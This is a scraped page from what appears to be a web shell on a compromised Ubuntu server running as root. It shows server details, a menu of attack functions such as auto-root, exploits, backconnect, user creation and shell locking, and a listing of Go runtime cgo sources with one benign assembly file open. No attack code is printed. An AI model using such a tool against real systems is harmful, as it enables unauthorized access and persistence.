Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
go /
src /
runtime /
cgo /
[ HOME SHELL ]
Name
Size
Permission
Action
asm_386.s
716
B
-rw-r--r--
asm_amd64.s
1.63
KB
-rw-r--r--
asm_arm.s
1.7
KB
-rw-r--r--
asm_arm64.s
1.82
KB
-rw-r--r--
asm_mips64x.s
1.86
KB
-rw-r--r--
asm_mipsx.s
1.77
KB
-rw-r--r--
asm_ppc64x.s
3.11
KB
-rw-r--r--
asm_s390x.s
1.25
KB
-rw-r--r--
asm_wasm.s
223
B
-rw-r--r--
callbacks.go
3.96
KB
-rw-r--r--
callbacks_aix.go
399
B
-rw-r--r--
callbacks_traceback.go
471
B
-rw-r--r--
cgo.go
887
B
-rw-r--r--
dragonfly.go
484
B
-rw-r--r--
freebsd.go
548
B
-rw-r--r--
gcc_386.S
834
B
-rw-r--r--
gcc_aix_ppc64.S
2.69
KB
-rw-r--r--
gcc_aix_ppc64.c
1.29
KB
-rw-r--r--
gcc_amd64.S
968
B
-rw-r--r--
gcc_android.c
2.56
KB
-rw-r--r--
gcc_arm.S
1.12
KB
-rw-r--r--
gcc_arm64.S
1.19
KB
-rw-r--r--
gcc_context.c
529
B
-rw-r--r--
gcc_darwin_386.c
1.38
KB
-rw-r--r--
gcc_darwin_amd64.c
1.38
KB
-rw-r--r--
gcc_darwin_arm.c
4.3
KB
-rw-r--r--
gcc_darwin_arm64.c
4.51
KB
-rw-r--r--
gcc_dragonfly_amd64.c
1.35
KB
-rw-r--r--
gcc_fatalf.c
469
B
-rw-r--r--
gcc_freebsd_386.c
1.35
KB
-rw-r--r--
gcc_freebsd_amd64.c
1.59
KB
-rw-r--r--
gcc_freebsd_arm.c
1.84
KB
-rw-r--r--
gcc_freebsd_arm64.c
1.41
KB
-rw-r--r--
gcc_freebsd_sigaction.c
1.99
KB
-rw-r--r--
gcc_libinit.c
3.2
KB
-rw-r--r--
gcc_libinit_windows.c
3.09
KB
-rw-r--r--
gcc_linux_386.c
1.66
KB
-rw-r--r--
gcc_linux_amd64.c
2.35
KB
-rw-r--r--
gcc_linux_arm.c
1.63
KB
-rw-r--r--
gcc_linux_arm64.c
2.44
KB
-rw-r--r--
gcc_linux_mips64x.c
1.68
KB
-rw-r--r--
gcc_linux_mipsx.c
1.71
KB
-rw-r--r--
gcc_linux_ppc64x.S
2.96
KB
-rw-r--r--
gcc_linux_s390x.c
1.41
KB
-rw-r--r--
gcc_mips64x.S
1.76
KB
-rw-r--r--
gcc_mipsx.S
1.51
KB
-rw-r--r--
gcc_mmap.c
867
B
-rw-r--r--
gcc_netbsd_386.c
1.8
KB
-rw-r--r--
gcc_netbsd_amd64.c
1.81
KB
-rw-r--r--
gcc_netbsd_arm.c
1.85
KB
-rw-r--r--
gcc_netbsd_arm64.c
1.77
KB
-rw-r--r--
gcc_openbsd_386.c
1.32
KB
-rw-r--r--
gcc_openbsd_amd64.c
1.33
KB
-rw-r--r--
gcc_openbsd_arm.c
1.37
KB
-rw-r--r--
gcc_openbsd_arm64.c
1.36
KB
-rw-r--r--
gcc_ppc64x.c
1.43
KB
-rw-r--r--
gcc_s390x.S
1.37
KB
-rw-r--r--
gcc_setenv.c
549
B
-rw-r--r--
gcc_sigaction.c
2.03
KB
-rw-r--r--
gcc_signal2_darwin_armx.c
543
B
-rw-r--r--
gcc_signal_darwin_armx.c
6
KB
-rw-r--r--
gcc_signal_darwin_lldb.c
332
B
-rw-r--r--
gcc_solaris_amd64.c
1.78
KB
-rw-r--r--
gcc_traceback.c
864
B
-rw-r--r--
gcc_util.c
1.85
KB
-rw-r--r--
gcc_windows_386.c
1008
B
-rw-r--r--
gcc_windows_amd64.c
1013
B
-rw-r--r--
iscgo.go
646
B
-rw-r--r--
libcgo.h
3.42
KB
-rw-r--r--
libcgo_unix.h
604
B
-rw-r--r--
mmap.go
1014
B
-rw-r--r--
netbsd.go
545
B
-rw-r--r--
openbsd.go
562
B
-rw-r--r--
setenv.go
649
B
-rw-r--r--
sigaction.go
829
B
-rw-r--r--
signal_darwin_arm.s
1.52
KB
-rw-r--r--
signal_darwin_arm64.s
1.8
KB
-rw-r--r--
signal_darwin_armx.go
308
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : signal_darwin_arm64.s
// Copyright 2015 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. #include "textflag.h" // xx_cgo_panicmem is the entrypoint for SIGSEGV as intercepted via a // mach thread port as EXC_BAD_ACCESS. As the segfault may have happened // in C code, we first need to load_g then call xx_cgo_panicmem. // // R1 - LR at moment of fault // R2 - PC at moment of fault TEXT xx_cgo_panicmem(SB),NOSPLIT|NOFRAME,$0 // If in external C code, we need to load the g register. BL runtime·load_g(SB) CMP $0, g BNE ongothread // On a foreign thread. // TODO(crawshaw): call badsignal MOVD.W $0, -16(RSP) MOVW $139, R1 MOVW R1, 8(RSP) B runtime·exit(SB) ongothread: // Trigger a SIGSEGV panic. // // The goal is to arrange the stack so it looks like the runtime // function sigpanic was called from the PC that faulted. It has // to be sigpanic, as the stack unwinding code in traceback.go // looks explicitly for it. // // To do this we call into runtime·setsigsegv, which sets the // appropriate state inside the g object. We give it the faulting // PC on the stack, then put it in the LR before calling sigpanic. // Build a 32-byte stack frame for us for this call. // Saved LR (none available) is at the bottom, // then the PC argument for setsigsegv, // then a copy of the LR for us to restore. MOVD.W $0, -32(RSP) MOVD R1, 8(RSP) MOVD R2, 16(RSP) BL runtime·setsigsegv(SB) MOVD 8(RSP), R1 MOVD 16(RSP), R2 // Build a 16-byte stack frame for the simulated // call to sigpanic, by taking 16 bytes away from the // 32-byte stack frame above. // The saved LR in this frame is the LR at time of fault, // and the LR on entry to sigpanic is the PC at time of fault. MOVD.W R1, 16(RSP) MOVD R2, R30 B runtime·sigpanic(SB)
Close